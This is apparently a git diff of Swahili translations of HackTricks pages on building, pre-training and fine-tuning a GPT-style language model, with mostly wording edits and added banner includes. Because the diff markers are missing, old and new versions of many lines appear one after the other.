- **Mipango ya Matokeo:** Tabaka la mstari kuunganisha matokeo ya vichwa vyote.
- **Mipango ya Matokeo:** Kiwango cha mstari cha kuunganisha matokeo ya vichwa vyote.
> [!TIP]
> Lengo la mtandao huu ni kupata uhusiano kati ya token katika muktadha sawa. Aidha, token zimegawanywa katika vichwa tofauti ili kuzuia kupita kiasi ingawa uhusiano wa mwisho uliofanywa kwa kila kichwa unachanganywa mwishoni mwa mtandao huu.
> Lengo la mtandao huu ni kupata uhusiano kati ya token katika muktadha sawa. Aidha, token zimegawanywa katika vichwa tofauti ili kuzuia overfitting ingawa uhusiano wa mwisho uliofanywa kwa kila kichwa unachanganywa mwishoni mwa mtandao huu.
>
> Aidha, wakati wa mafunzo **mask ya sababu** inatumika ili token za baadaye zisihesabiwe wakati wa kutafuta uhusiano maalum kwa token na **dropout** pia inatumika ili **kuzuia kupita kiasi**.
> Aidha, wakati wa mafunzo **mask ya sababu** inatumika ili token za baadaye zisihesabiwe wakati wa kutafuta uhusiano maalum kwa token na **dropout** pia inatumika ili **kuzuia overfitting**.
### **Kiwango** Kurekebisha
```python
@ -296,8 +298,8 @@ return self.scale * norm_x + self.shift
- **`eps`:** Kiwango kidogo (`1e-5`) kinachoongezwa kwenye tofauti ili kuzuia kugawanya kwa sifuri wakati wa kurekebisha.
- **`scale` na `shift`:** Vigezo vinavyoweza kujifunza (`nn.Parameter`) vinavyomruhusu mfano kupima na kuhamasisha matokeo yaliyorekebishwa. Vimeanzishwa kuwa moja na sifuri, mtawalia.
- **Mchakato wa Kurekebisha:**
- **Hesabu Mean (`mean`):** Hesabu ya wastani wa ingizo `x` kati ya kipimo cha embedding (`dim=-1`), ikihifadhi kipimo kwa ajili ya kueneza (`keepdim=True`).
- **Hesabu Variance (`var`):** Hesabu ya tofauti ya `x` kati ya kipimo cha embedding, pia ikihifadhi kipimo. Paramenta `unbiased=False` inahakikisha kwamba tofauti inahesabiwa kwa kutumia mhesabu wa upendeleo (kugawanya kwa `N` badala ya `N-1`), ambayo ni sahihi wakati wa kurekebisha juu ya vipengele badala ya sampuli.
- **Hesabu Mean (`mean`):** Hesabu wastani wa ingizo `x` kati ya kipimo cha embedding (`dim=-1`), ikihifadhi kipimo kwa ajili ya kueneza (`keepdim=True`).
- **Hesabu Variance (`var`):** Hesabu tofauti ya `x` kati ya kipimo cha embedding, pia ikihifadhi kipimo. Paramenta `unbiased=False` inahakikisha kwamba tofauti inahesabiwa kwa kutumia mhesabu wa upendeleo (kugawanya kwa `N` badala ya `N-1`), ambayo ni sahihi wakati wa kurekebisha juu ya vipengele badala ya sampuli.
- **Normalize (`norm_x`):** Inapunguza wastani kutoka `x` na kugawanya kwa mzizi wa tofauti pamoja na `eps`.
- **Scale na Shift:** Inatumia vigezo vinavyoweza kujifunza `scale` na `shift` kwa matokeo yaliyorekebishwa.
@ -350,7 +352,7 @@ return x # Output shape: (batch_size, seq_len, emb_dim)
- **Muundo wa Tabaka:** Inachanganya umakini wa vichwa vingi, mtandao wa feedforward, urekebishaji wa tabaka, na muunganisho wa ziada.
- **Urekebishaji wa Tabaka:** Unatumika kabla ya tabaka za umakini na feedforward kwa mafunzo thabiti.
- **Muunganisho wa Ziada (Njia Fupi):** Ongeza ingizo la tabaka kwa matokeo yake ili kuboresha mtiririko wa gradient na kuwezesha mafunzo ya mitandao yenye kina.
- **Muunganisho wa Ziada (Njia Fupi):** Ongeza ingizo la tabaka kwa matokeo yake ili kuboresha mtiririko wa gradient na kuwezesha mafunzo ya mitandao mirefu.
- **Dropout:** Unatumika baada ya tabaka za umakini na feedforward kwa ajili ya urekebishaji.
#### **Ufanisi wa Hatua kwa Hatua**
@ -376,7 +378,7 @@ return x # Output shape: (batch_size, seq_len, emb_dim)
### **GPTModel**
_Mifano imeongezwa kama maelezo ili kuelewa vyema mifano ya matrices:_
_Mifano imeongezwa kama maoni ili kuelewa vyema mifano ya matrices:_
```python
# From https://github.com/rasbt/LLMs-from-scratch/tree/main/ch04
class GPTModel(nn.Module):
@ -439,18 +441,18 @@ return logits # Output shape: (batch_size, seq_len, vocab_size)
- **Dropout (`drop_emb`):** Inatumika kwa embeddings kwa ajili ya regularisation.
- **Transformer Blocks (`trf_blocks`):** Kifungu cha `n_layers` transformer blocks ili kushughulikia embeddings.
- **Final Normalization (`final_norm`):** Kiwango cha normalization kabla ya safu ya matokeo.
- **Output Layer (`out_head`):** Inatabiri hali za mwisho zilizofichwa kwa ukubwa wa msamiati ili kutoa logits kwa ajili ya utabiri.
- **Output Layer (`out_head`):** Inatabiri hali za siri za mwisho kwa ukubwa wa msamiati ili kutoa logits kwa ajili ya utabiri.
> [!TIP]
> Lengo la darasa hili ni kutumia mitandao mingine yote iliyotajwa ili **kutabiri token inayofuata katika mfuatano**, ambayo ni muhimu kwa kazi kama vile uzalishaji wa maandiko.
>
> Kumbuka jinsi itakavy **tumia blocks za transformer nyingi kadri zilivyoonyeshwa** na kwamba kila block ya transformer inatumia neti moja ya multi-head attestation, neti moja ya feed forward na normalizations kadhaa. Hivyo ikiwa blocks 12 za transformer zinatumika, ongeza hii kwa 12.
> Kumbuka jinsi itakavy **tumia transformer blocks nyingi kadri zilivyoonyeshwa** na kwamba kila transformer block inatumia neti moja ya multi-head attestation, neti moja ya feed forward na normalizations kadhaa. Hivyo kama transformer blocks 12 zinatumika, ongeza hii kwa 12.
>
> Zaidi ya hayo, safu ya **normalization** inaongezwa **kabla** ya **matokeo** na safu ya mwisho ya linear inatumika mwishoni kupata matokeo yenye vipimo sahihi. Kumbuka jinsi kila vector ya mwisho ina ukubwa wa msamiati ulio tumika. Hii ni kwa sababu inajaribu kupata uwezekano kwa kila token inayowezekana ndani ya msamiati.
## Idadi ya Vigezo vya kufundisha
Baada ya muundo wa GPT kufafanuliwa, inawezekana kubaini idadi ya vigezo vya kufundisha:
Baada ya muundo wa GPT kufafanuliwa, inawezekana kugundua idadi ya vigezo vya kufundisha:
```python
GPT_CONFIG_124M = {
"vocab_size": 50257, # Vocabulary size
@ -469,7 +471,7 @@ print(f"Total number of parameters: {total_params:,}")
```
### **Hatua kwa Hatua Hesabu**
#### **1. Tabaka za Kuunganisha: Kuunganisha Token & Kuunganisha Nafasi**
#### **1. Tabaka za Kuunganisha: Kuunganisha Tokeni & Kuunganisha Nafasi**
- **Tabaka:** `nn.Embedding(vocab_size, emb_dim)`
- **Vigezo:** `vocab_size * emb_dim`
@ -481,7 +483,7 @@ token_embedding_params = 50257 * 768 = 38,597,376
```python
position_embedding_params = 1024 * 768 = 786,432
```
**Jumla ya Vigezo vya Embedding**
**Jumla ya Vigezo vya Kuunganisha**
```python
embedding_params = token_embedding_params + position_embedding_params
embedding_params = 38,597,376 + 786,432 = 39,383,808
@ -490,16 +492,16 @@ embedding_params = 38,597,376 + 786,432 = 39,383,808
Kuna blocks 12 za transformer, hivyo tutahesabu vigezo kwa block moja kisha kuzidisha kwa 12.
**Vigezo kwa Block ya Transformer**
**Parameters per Transformer Block**
**a. Multi-Head Attention**
- **Vipengele:**
- **Components:**
- **Query Linear Layer (`W_query`):** `nn.Linear(emb_dim, emb_dim, bias=False)`
- **Key Linear Layer (`W_key`):** `nn.Linear(emb_dim, emb_dim, bias=False)`
- **Value Linear Layer (`W_value`):** `nn.Linear(emb_dim, emb_dim, bias=False)`
- **Output Projection (`out_proj`):** `nn.Linear(emb_dim, emb_dim)`
- **Hesabu:**
- **Calculations:**
- **Kila moja ya `W_query`, `W_key`, `W_value`:**
@ -528,19 +530,19 @@ mha_params = 1,769,472 + 590,592 = 2,360,064
**b. FeedForward Network**
- **Vipengele:**
- **Layer ya Kwanza ya Linear:** `nn.Linear(emb_dim, 4 * emb_dim)`
- **Layer ya Pili ya Linear:** `nn.Linear(4 * emb_dim, emb_dim)`
- **Hesabu:**
- **Components:**
- **First Linear Layer:** `nn.Linear(emb_dim, 4 * emb_dim)`
- **Second Linear Layer:** `nn.Linear(4 * emb_dim, emb_dim)`
- **Calculations:**
- **Layer ya Kwanza ya Linear:**
- **First Linear Layer:**
```python
ff_first_layer_params = (emb_dim * 4 * emb_dim) + (4 * emb_dim)
ff_first_layer_params = (768 * 3072) + 3072 = 2,359,296 + 3,072 = 2,362,368
```
- **Layer ya Pili ya Linear:**
- **Second Linear Layer:**
```python
ff_second_layer_params = (4 * emb_dim * emb_dim) + emb_dim
@ -556,16 +558,16 @@ ff_params = 2,362,368 + 2,360,064 = 4,722,432
**c. Layer Normalizations**
- **Vipengele:**
- **Components:**
- Instances mbili za `LayerNorm` kwa block.
- Kila `LayerNorm` ina vigezo `2 * emb_dim` (scale na shift).
- **Hesabu:**
- **Calculations:**
```python
layer_norm_params_per_block = 2 * (2 * emb_dim) = 2 * 768 * 2 = 3,072
pythonCopy codelayer_norm_params_per_block = 2 * (2 * emb_dim) = 2 * 768 * 2 = 3,072
```
**d. Jumla ya Vigezo kwa Block ya Transformer**
**d. Jumla ya Vigezo kwa Transformer Block**
```python
pythonCopy codeparams_per_block = mha_params + ff_params + layer_norm_params_per_block
params_per_block = 2,360,064 + 4,722,432 + 3,072 = 7,085,568
@ -583,14 +585,14 @@ total_transformer_blocks_params = 7,085,568 * 12 = 85,026,816
```python
pythonCopy codefinal_layer_norm_params = 2 * 768 = 1,536
```
**b. Tabaka la Kutolewa (`out_head`)**
**b. Tabaka la Utoaji (`out_head`)**
- **Tabaka:** `nn.Linear(emb_dim, vocab_size, bias=False)`
- **Vigezo:** `emb_dim * vocab_size`
```python
pythonCopy codeoutput_projection_params = 768 * 50257 = 38,597,376
```
#### **4. Kuangalia Miparameta Yote**
#### **4. Kuangalia Mipangilio Yote**
```python
pythonCopy codetotal_params = (
embedding_params +
@ -664,3 +666,6 @@ print("Output length:", len(out[0]))
## Marejeo
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
{{#include /banners/hacktricks-training.md}}

View File

@ -1,24 +1,26 @@
# 6. Pre-training & Loading models
{{#include /banners/hacktricks-training.md}}
## Text Generation
Ili kufundisha mfano, tutahitaji mfano huo uweze kuzalisha tokens mpya. Kisha tutalinganisha tokens zilizozalishwa na zile zinazotarajiwa ili kufundisha mfano **kujifunza tokens anazohitaji kuzalisha**.
Ili kufundisha mfano, tunahitaji mfano huo uweze kuzalisha tokens mpya. Kisha tutalinganisha tokens zilizozalishwa na zile zinazotarajiwa ili kufundisha mfano **kujifunza tokens anazohitaji kuzalisha**.
Kama katika mifano ya awali, tayari tumepiga makadirio ya baadhi ya tokens, inawezekana kutumia kazi hiyo tena kwa kusudi hili.
> [!TIP]
> Lengo la awamu hii ya sita ni rahisi sana: **Fundisha mfano kutoka mwanzo**. Kwa hili, usanifu wa awali wa LLM utatumika na miduara kadhaa ikipita juu ya seti za data kwa kutumia kazi za hasara zilizofafanuliwa na msaidizi kufundisha vigezo vyote vya mfano.
> Lengo la awamu hii ya sita ni rahisi sana: **Fundisha mfano kutoka mwanzo**. Kwa hili, usanifu wa awali wa LLM utatumika na mizunguko kadhaa ikipita juu ya seti za data kwa kutumia kazi za hasara zilizofafanuliwa na msaidizi kufundisha vigezo vyote vya mfano.
## Text Evaluation
Ili kufanya mafunzo sahihi, inahitajika kupima makadirio yaliyopatikana kwa token inayotarajiwa. Lengo la mafunzo ni kuongeza uwezekano wa token sahihi, ambayo inahusisha kuongeza uwezekano wake ikilinganishwa na tokens nyingine.
Ili kufanya mafunzo sahihi, inahitajika kupima makadirio yaliyopatikana kwa token inayotarajiwa. Lengo la mafunzo ni kuongeza uwezekano wa token sahihi, ambayo inahusisha kuongeza uwezekano wake kulinganisha na tokens nyingine.
Ili kuongeza uwezekano wa token sahihi, uzito wa mfano lazima ubadilishwe ili uwezekano huo uweze kuongezeka. Sasisho za uzito zinafanywa kupitia **backpropagation**. Hii inahitaji **kazi ya hasara kuongeza**. Katika kesi hii, kazi itakuwa **tofauti kati ya makadirio yaliyofanywa na ile inayotakiwa**.
Ili kuongeza uwezekano wa token sahihi, uzito wa mfano lazima ubadilishwe ili uwezekano huo uweze kuongezeka. Sasisho za uzito zinafanywa kupitia **backpropagation**. Hii inahitaji **kazi ya hasara ili kuongeza**. Katika kesi hii, kazi itakuwa **tofauti kati ya makadirio yaliyofanywa na ile inayotakiwa**.
Hata hivyo, badala ya kufanya kazi na makadirio ya moja kwa moja, itafanya kazi na logarithm yenye msingi n. Hivyo, ikiwa makadirio ya sasa ya token inayotarajiwa ilikuwa 7.4541e-05, logarithm ya asili (msingi *e*) ya **7.4541e-05** ni takriban **-9.5042**.\
Kisha, kwa kila ingizo lenye urefu wa muktadha wa tokens 5 kwa mfano, mfano utahitaji kutabiri tokens 5, ambapo tokens 4 za kwanza ni zile za mwisho za ingizo na ya tano ni ile iliyotabiriwa. Kwa hivyo, kwa kila ingizo tutakuwa na makadirio 5 katika kesi hiyo (hata kama zile 4 za kwanza zilikuwa katika ingizo, mfano haujui hili) na hivyo tokens 5 zinazotarajiwa na kwa hiyo uwezekano 5 wa kuongeza.
Kisha, kwa kila ingizo lenye urefu wa muktadha wa tokens 5 kwa mfano, mfano utahitaji kutabiri tokens 5, ambapo tokens 4 za kwanza ni za mwisho wa ingizo na ya tano ni ile iliyotabiriwa. Kwa hivyo, kwa kila ingizo tutakuwa na makadirio 5 katika kesi hiyo (hata kama tokens 4 za kwanza zilikuwa katika ingizo, mfano haujui hili) na hivyo tokens 5 zinazotarajiwa na kwa hiyo uwezekano 5 wa kuongeza.
Kwa hivyo, baada ya kufanya logarithm ya asili kwa kila makadirio, **kiasi** kinahesabiwa, **ishara ya minus inatolewa** (hii inaitwa _cross entropy loss_) na hiyo ndiyo **nambari ya kupunguza karibu na 0 iwezekanavyo** kwa sababu logarithm ya asili ya 1 ni 0:
Kwa hivyo, baada ya kufanya logarithm ya asili kwa kila makadirio, **kati** inahesabiwa, **ishara ya minus inatolewa** (hii inaitwa _hasara ya msalaba_) na hiyo ndiyo **nambari ya kupunguza karibu na 0 iwezekanavyo** kwa sababu logarithm ya asili ya 1 ni 0:
<figure><img src="../../images/image (10) (1).png" alt="" width="563"><figcaption><p><a href="https://camo.githubusercontent.com/3c0ab9c55cefa10b667f1014b6c42df901fa330bb2bc9cea88885e784daec8ba/68747470733a2f2f73656261737469616e72617363686b612e636f6d2f696d616765732f4c4c4d732d66726f6d2d736372617463682d696d616765732f636830355f636f6d707265737365642f63726f73732d656e74726f70792e776562703f313233">https://camo.githubusercontent.com/3c0ab9c55cefa10b667f1014b6c42df901fa330bb2bc9cea88885e784daec8ba/68747470733a2f2f73656261737469616e72617363686b612e636f6d2f696d616765732f4c4c4d732d66726f6d2d736372617463682d696d616765732f636830355f636f6d707265737365642f63726f73732d656e74726f70792e776562703f313233</a></p></figcaption></figure>
@ -545,7 +547,7 @@ Katika sehemu ya awali, kazi ambayo ilipata **token inayowezekana zaidi** baada
Kazi ifuatayo ya `generate_text`, itatumia dhana za `top-k`, `temperature` na `multinomial`.
- **`top-k`** inamaanisha kwamba tutaanza kupunguza hadi `-inf` uwezekano wa token zote isipokuwa za juu k. Hivyo, ikiwa k=3, kabla ya kufanya uamuzi, token 3 zinazowezekana zaidi zitakuwa na uwezekano tofauti na `-inf`.
- **`top-k`** inamaanisha kwamba tutaanza kupunguza hadi `-inf` uwezekano wa token zote isipokuwa token za juu k. Hivyo, ikiwa k=3, kabla ya kufanya uamuzi, token 3 zinazowezekana zaidi zitakuwa na uwezekano tofauti na `-inf`.
- **`temperature`** inamaanisha kwamba kila uwezekano utagawanywa kwa thamani ya joto. Thamani ya `0.1` itaboresha uwezekano wa juu zaidi ikilinganishwa na wa chini, wakati joto la `5` kwa mfano litafanya iwe tambarare zaidi. Hii husaidia kuboresha tofauti katika majibu tunayotaka LLM iwe nayo.
- Baada ya kutumia joto, kazi ya **`softmax`** inatumika tena ili kufanya token zote zilizobaki kuwa na uwezekano wa jumla wa 1.
- Hatimaye, badala ya kuchagua token yenye uwezekano mkubwa zaidi, kazi ya **`multinomial`** inatumika ili **kutabiri token inayofuata kulingana na uwezekano wa mwisho**. Hivyo ikiwa token 1 ilikuwa na asilimia 70 ya uwezekano, token 2 asilimia 20 na token 3 asilimia 10, asilimia 70 ya wakati token 1 itachaguliwa, asilimia 20 ya wakati itakuwa token 2 na asilimia 10 ya wakati itakuwa token 3.
@ -600,14 +602,14 @@ return idx
> [!TIP]
> Njia nyingine ya kuboresha maandiko yaliyotengenezwa ni kwa kutumia **Beam search** badala ya utafutaji wa greedy uliofanywa katika mfano huu.\
> Tofauti na utafutaji wa greedy, ambao unachagua neno linalowezekana zaidi katika kila hatua na kujenga mlolongo mmoja, **beam search inashika rekodi ya 𝑘 k bora zaidi za sehemu za mlolongo** (zinazoitwa "beams") katika kila hatua. Kwa kuchunguza uwezekano wengi kwa wakati mmoja, inasawazisha ufanisi na ubora, ikiongeza nafasi za **kupata mlolongo bora zaidi** ambao unaweza kupuuziliwa mbali na mbinu ya greedy kutokana na chaguzi za mapema, zisizo bora.
> Tofauti na utafutaji wa greedy, ambao unachagua neno linalowezekana zaidi katika kila hatua na kujenga mlolongo mmoja, **beam search inashika rekodi ya 𝑘 k ya mlolongo wa sehemu zenye alama za juu** (zinazoitwa "beams") katika kila hatua. Kwa kuchunguza uwezekano wengi kwa wakati mmoja, inasawazisha ufanisi na ubora, ikiongeza nafasi za **kupata mlolongo bora zaidi** ambao unaweza kupuuziliwa mbali na mbinu ya greedy kutokana na chaguzi za mapema, zisizo bora.
>
> _Kumbuka kwamba uboreshaji huu haujajumuishwa katika msimbo wa awali._
### Loss functions
Funguo la **`calc_loss_batch`** linahesabu cross entropy ya utabiri wa batch moja.\
Funguo la **`calc_loss_loader`** linapata cross entropy ya batch zote na kuhesabu **kawaida ya cross entropy**.
Funguo la **`calc_loss_batch`** linahesabu msongamano wa msalaba wa utabiri wa kundi moja.\
Funguo la **`calc_loss_loader`** linapata msongamano wa msalaba wa makundi yote na kuhesabu **msongamano wa wastani wa msalaba**.
```python
# Define loss functions
def calc_loss_batch(input_batch, target_batch, model, device):
@ -635,7 +637,7 @@ break
return total_loss / num_batches
```
> [!TIP]
> **Gradient clipping** ni mbinu inayotumika kuboresha **utulivu wa mafunzo** katika mitandao mikubwa ya neva kwa kuweka **kigezo cha juu** kwa ukubwa wa gradient. Wakati gradients zinapozidi `max_norm` iliyowekwa, zinapunguzwa kwa uwiano ili kuhakikisha kwamba masasisho ya vigezo vya mfano yanabaki ndani ya kiwango kinachoweza kudhibitiwa, kuzuia matatizo kama vile gradients zinazoshuka na kuhakikisha mafunzo yanadhibitiwa na kuwa na utulivu zaidi.
> **Gradient clipping** ni mbinu inayotumika kuboresha **utulivu wa mafunzo** katika mitandao mikubwa ya neva kwa kuweka **kigezo cha juu** kwa ukubwa wa gradient. Wakati gradients zinapozidi `max_norm` hii iliyowekwa awali, zinapunguzwa kwa uwiano ili kuhakikisha kwamba masasisho ya vigezo vya mfano yanabaki ndani ya kiwango kinachoweza kudhibitiwa, kuzuia matatizo kama vile gradients zinazoshuka na kuhakikisha mafunzo yanadhibitiwa na kuwa na utulivu zaidi.
>
> _Kumbuka kwamba uboreshaji huu haujajumuishwa katika msimbo wa awali._
>
@ -643,15 +645,15 @@ return total_loss / num_batches
<figure><img src="../../images/image (6) (1).png" alt=""><figcaption></figcaption></figure>
### Kupakia Data
### Loading Data
Mifunction `create_dataloader_v1` na `create_dataloader_v1` tayari zimejadiliwa katika sehemu ya awali.
Kutoka hapa, kumbuka jinsi ilivyoainishwa kwamba 90% ya maandiko yatatumika kwa mafunzo wakati 10% itatumika kwa uthibitisho na seti zote zinahifadhiwa katika waendeshaji wa data 2 tofauti.\
Kutoka hapa kumbuka jinsi ilivyoainishwa kwamba 90% ya maandiko yatatumika kwa mafunzo wakati 10% itatumika kwa uthibitisho na seti zote zinahifadhiwa katika waendeshaji wa data 2 tofauti.\
Kumbuka kwamba wakati mwingine sehemu ya seti ya data pia inachwa kwa seti ya majaribio ili kutathmini vizuri utendaji wa mfano.
Waendeshaji wote wa data wanatumia saizi sawa ya kundi, urefu wa juu na stride na idadi ya wafanyakazi (0 katika kesi hii).\
Tofauti kuu ni data inayotumiwa na kila mmoja, na waathibitishaji hawatupilii mbali ya mwisho wala kuchanganya data kwani si muhimu kwa madhumuni ya uthibitisho.
Tofauti kuu ni data inayotumiwa na kila mmoja, na waathibitishaji hawatupi ya mwisho wala kuchanganya data kwani si muhimu kwa madhumuni ya uthibitisho.
Pia ukweli kwamba **stride ni kubwa kama urefu wa muktadha**, ina maana kwamba hakutakuwa na overlapping kati ya muktadha inayotumika kufundisha data (inapunguza overfitting lakini pia seti ya data ya mafunzo).
@ -755,11 +757,11 @@ The function `evaluate_model` inaitwa mara kwa mara kama inavyoashiria kwa kazi
Kisha kazi kubwa `train_model_simple` ndiyo inayofanya mafunzo ya modeli. Inatarajia:
- Mtu wa kupakia data ya mafunzo (ikiwa na data tayari imegawanywa na kuandaliwa kwa mafunzo)
- Mtu wa kuthibitisha
- Mtu wa kupakia uthibitisho
- **optimizer** ya kutumia wakati wa mafunzo: Hii ndiyo kazi itakayotumia gradients na kusasisha vigezo ili kupunguza hasara. Katika kesi hii, kama utakavyoona, `AdamW` inatumika, lakini kuna nyingi zaidi.
- `optimizer.zero_grad()` inaitwa ili kurekebisha gradients katika kila raundi ili zisijikusanye.
- **`lr`** param ni **kasi ya kujifunza** ambayo inamua **ukubwa wa hatua** zinazochukuliwa wakati wa mchakato wa kuboresha unaposasisha vigezo vya modeli. Kasi ya kujifunza **ndogo** inamaanisha optimizer **inafanya sasisho ndogo** kwa uzito, ambayo inaweza kusababisha **mwelekeo** sahihi lakini inaweza **kuchelewesha** mafunzo. Kasi ya kujifunza **kubwa** inaweza kuharakisha mafunzo lakini **ina hatari ya kupita** chini ya kiwango cha chini cha kazi ya hasara (**kuruka juu** ya mahali ambapo kazi ya hasara inakuwa ndogo).
- **Weight Decay** inabadilisha hatua ya **Kuhesabu Hasara** kwa kuongeza neno la ziada linalopiga marufuku uzito mkubwa. Hii inahimiza optimizer kupata suluhisho zenye uzito mdogo, ikisawazisha kati ya kufaa data vizuri na kuweka modeli rahisi ili kuzuia overfitting katika mifano ya kujifunza mashine kwa kukataza modeli kupewa umuhimu mkubwa kwa kipengele chochote kimoja.
- **`lr`** param ni **kasi ya kujifunza** ambayo inamua **ukubwa wa hatua** zinazochukuliwa wakati wa mchakato wa kuboresha unaposasisha vigezo vya modeli. Kasi ya kujifunza **ndogo** inamaanisha optimizer **inafanya sasisho ndogo** kwa uzito, ambayo inaweza kusababisha **mwelekeo sahihi** lakini inaweza **kuchelewesha** mafunzo. Kasi ya kujifunza **kubwa** inaweza kuharakisha mafunzo lakini **ina hatari ya kupita** chini ya kiwango cha chini cha kazi ya hasara (**kuruka juu** ya mahali ambapo kazi ya hasara inakuwa ndogo).
- **Weight Decay** inabadilisha hatua ya **Kuhesabu Hasara** kwa kuongeza neno la ziada linaloadhibu uzito mkubwa. Hii inahimiza optimizer kupata suluhisho zenye uzito mdogo, ikisawazisha kati ya kufaa data vizuri na kuweka modeli rahisi ili kuzuia overfitting katika mifano ya kujifunza mashine kwa kuzuia modeli isijitoe umuhimu mwingi kwa kipengele kimoja.
- Optimizers za jadi kama SGD na L2 regularization zinachanganya uzito wa kupungua na gradient ya kazi ya hasara. Hata hivyo, **AdamW** (toleo la optimizer ya Adam) inatenganisha uzito wa kupungua kutoka kwa sasisho la gradient, ikisababisha udhibiti mzuri zaidi.
- Kifaa cha kutumia kwa mafunzo
- Idadi ya epochs: Idadi ya nyakati za kupita juu ya data ya mafunzo
@ -831,7 +833,7 @@ model.train() # Back to training model applying all the configurations
> Ili kuboresha kiwango cha kujifunza kuna mbinu kadhaa muhimu zinazoitwa **linear warmup** na **cosine decay.**
>
> **Linear warmup** inajumuisha kufafanua kiwango cha awali cha kujifunza na kiwango cha juu na kuendelea kukisasisha baada ya kila kipindi. Hii ni kwa sababu kuanza mafunzo na masasisho madogo ya uzito hupunguza hatari ya mfano kukutana na masasisho makubwa, yanayoweza kuleta machafuko wakati wa awamu yake ya mafunzo.\
> **Cosine decay** ni mbinu ambayo **inapunguza polepole kiwango cha kujifunza** ikifuatia curve ya nusu-cosine **baada ya awamu ya warmup**, ikichelewesha masasisho ya uzito ili **kupunguza hatari ya kupita** chini ya kiwango cha hasara na kuhakikisha utulivu wa mafunzo katika awamu za baadaye.
> **Cosine decay** ni mbinu ambayo **inapunguza taratibu kiwango cha kujifunza** ikifuatia curve ya nusu-cosine **baada ya awamu ya warmup**, ikichelewesha masasisho ya uzito ili **kupunguza hatari ya kupita** chini ya kiwango cha hasara na kuhakikisha utulivu wa mafunzo katika awamu za baadaye.
>
> _Kumbuka kwamba maboresho haya hayajajumuishwa katika msimbo wa awali._
@ -858,7 +860,7 @@ print(f"Training completed in {execution_time_minutes:.2f} minutes.")
```
### Print training evolution
Kwa kutumia kazi ifuatayo, inawezekana kuchapisha maendeleo ya mfano wakati ulikuwa unafundishwa.
Kwa kutumia kazi ifuatayo inawezekana kuchapisha maendeleo ya mfano wakati ulikuwa unafundishwa.
```python
import matplotlib.pyplot as plt
from matplotlib.ticker import MaxNLocator
@ -931,11 +933,14 @@ model.eval() # Put in eval mode
```
## Kupakia uzito wa GPT2
Kuna skripti 2 za haraka za kupakia uzito wa GPT2 kwenye eneo lako. Kwa zote mbili unaweza kunakili hifadhi [https://github.com/rasbt/LLMs-from-scratch](https://github.com/rasbt/LLMs-from-scratch) kwenye eneo lako, kisha:
Kuna skripti 2 za haraka za kupakia uzito wa GPT2 kwenye kompyuta yako. Kwa zote mbili unaweza kunakili hifadhi [https://github.com/rasbt/LLMs-from-scratch](https://github.com/rasbt/LLMs-from-scratch) kwenye kompyuta yako, kisha:
- Skripti [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/01_main-chapter-code/gpt_generate.py](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/01_main-chapter-code/gpt_generate.py) itashusha uzito wote na kubadilisha fomati kutoka OpenAI hadi zile zinazotarajiwa na LLM yetu. Skripti pia imeandaliwa na usanidi unaohitajika na na prompt: "Kila juhudi inakusogeza"
- Skripti [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/02_alternative_weight_loading/weight-loading-hf-transformers.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/02_alternative_weight_loading/weight-loading-hf-transformers.ipynb) inakuwezesha kupakia uzito wowote wa GPT2 kwenye eneo lako (badilisha tu var `CHOOSE_MODEL`) na kutabiri maandiko kutoka kwa baadhi ya prompts.
- Skripti [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/02_alternative_weight_loading/weight-loading-hf-transformers.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/02_alternative_weight_loading/weight-loading-hf-transformers.ipynb) inakuwezesha kupakia uzito wowote wa GPT2 kwenye kompyuta yako (badilisha tu var `CHOOSE_MODEL`) na kutabiri maandiko kutoka kwa baadhi ya prompts.
## Marejeo
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
{{#include /banners/hacktricks-training.md}}

View File

@ -1,5 +1,7 @@
# 7.0. LoRA Improvements in fine-tuning
{{#include /banners/hacktricks-training.md}}
## LoRA Improvements
> [!TIP]
@ -59,3 +61,5 @@ replace_linear_with_lora(module, rank, alpha)
## Marejeo
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
{{#include /banners/hacktricks-training.md}}

View File

@ -1,8 +1,10 @@
# 7.1. Fine-Tuning for Classification
{{#include /banners/hacktricks-training.md}}
## What is
Fine-tuning ni mchakato wa kuchukua **modeli iliyofundishwa awali** ambayo imejifunza **mifumo ya lugha ya jumla** kutoka kwa kiasi kikubwa cha data na **kuirekebisha** ili ifanye **kazi maalum** au kuelewa lugha maalum ya eneo. Hii inafikiwa kwa kuendelea na mafunzo ya modeli kwenye seti ndogo ya data maalum ya kazi, ikiruhusu kurekebisha vigezo vyake ili kufaa zaidi nuances za data mpya huku ikitumia maarifa mapana ambayo tayari imepata. Fine-tuning inaruhusu modeli kutoa matokeo sahihi na yanayohusiana zaidi katika matumizi maalum bila haja ya kufundisha modeli mpya kutoka mwanzo.
Fine-tuning ni mchakato wa kuchukua **modeli iliyofundishwa awali** ambayo imejifunza **mifumo ya lugha ya jumla** kutoka kwa kiasi kikubwa cha data na **kuirekebisha** ili ifanye **kazi maalum** au kuelewa lugha maalum ya eneo. Hii inafikiwa kwa kuendelea na mafunzo ya modeli kwenye seti ndogo ya data maalum ya kazi, ikiruhusu kurekebisha vigezo vyake ili kufaa zaidi nuances za data mpya huku ikitumia maarifa makubwa ambayo tayari imepata. Fine-tuning inaruhusu modeli kutoa matokeo sahihi na yanayohusiana zaidi katika matumizi maalum bila haja ya kufundisha modeli mpya kutoka mwanzo.
> [!TIP]
> Kwa kuwa kufundisha awali LLM ambayo "inaelewa" maandiko ni ghali sana, mara nyingi ni rahisi na nafuu kurekebisha modeli za wazi zilizofundishwa awali ili kufanya kazi maalum tunayotaka ifanye.
@ -14,15 +16,15 @@ Fine-tuning ni mchakato wa kuchukua **modeli iliyofundishwa awali** ambayo imeji
### Data set size
